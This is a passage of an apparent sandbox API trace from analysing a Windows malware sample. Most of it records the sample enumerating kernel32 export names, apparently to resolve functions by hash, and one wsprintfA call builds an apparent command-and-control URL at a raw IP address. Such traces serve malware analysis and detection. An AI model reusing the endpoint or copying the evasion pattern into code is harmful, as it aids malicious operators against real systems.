lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.281] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.281] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.281] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.281] lstrlenA (lpString="COPYFILEW") returned 9 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.281] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.281] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.281] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.281] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.281] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.281] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.281] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.281] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.281] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.281] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.282] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.282] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.282] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.282] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.282] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.282] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.282] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.282] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.282] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.282] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.282] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.282] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.282] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.282] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.282] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.282] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.282] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.282] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.282] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.282] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.282] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.282] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.283] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.283] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.283] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.283] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.283] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.283] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.283] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.283] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.283] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.283] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.283] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.283] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.283] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.283] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.283] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.283] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.283] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.283] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.283] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.283] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.283] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.283] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.283] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.284] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.284] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.284] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.284] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.284] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.284] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.284] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.284] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.284] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.284] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.284] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.284] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.285] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.285] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.285] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.285] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.285] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.285] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.285] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.285] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.285] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.285] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.285] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.285] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.285] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.285] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.286] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0118.286] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0118.287] GetTickCount () returned 0x33039 [0118.287] GetTickCount () returned 0x33039 [0118.287] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0118.287] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.287] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0118.288] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.15.6/sepa/archive/fwjglrjbx.php") returned 44 [0118.288] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0118.288] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0118.288] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0118.289] VirtualAlloc (lpAddress=0x0, dwSize=0x26, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0118.289] lstrlenA (lpString="kernel32.dll") returned 12 [0118.289] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.289] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.289] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.289] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.289] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.289] lstrlenA (lpString="ADDATOMA") returned 8 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.289] lstrlenA (lpString="ADDATOMW") returned 8 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.289] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.289] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.289] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.290] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.290] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.290] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.290] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.290] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.290] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.290] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.290] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.290] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.290] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.290] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.290] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.290] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.290] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.290] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.290] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.290] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.290] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.290] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0118.290] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0118.290] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0118.291] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0118.291] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0118.291] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0118.291] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.291] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.291] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.291] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.291] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.291] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.291] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.291] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.291] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.291] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.291] lstrcpyA (in: 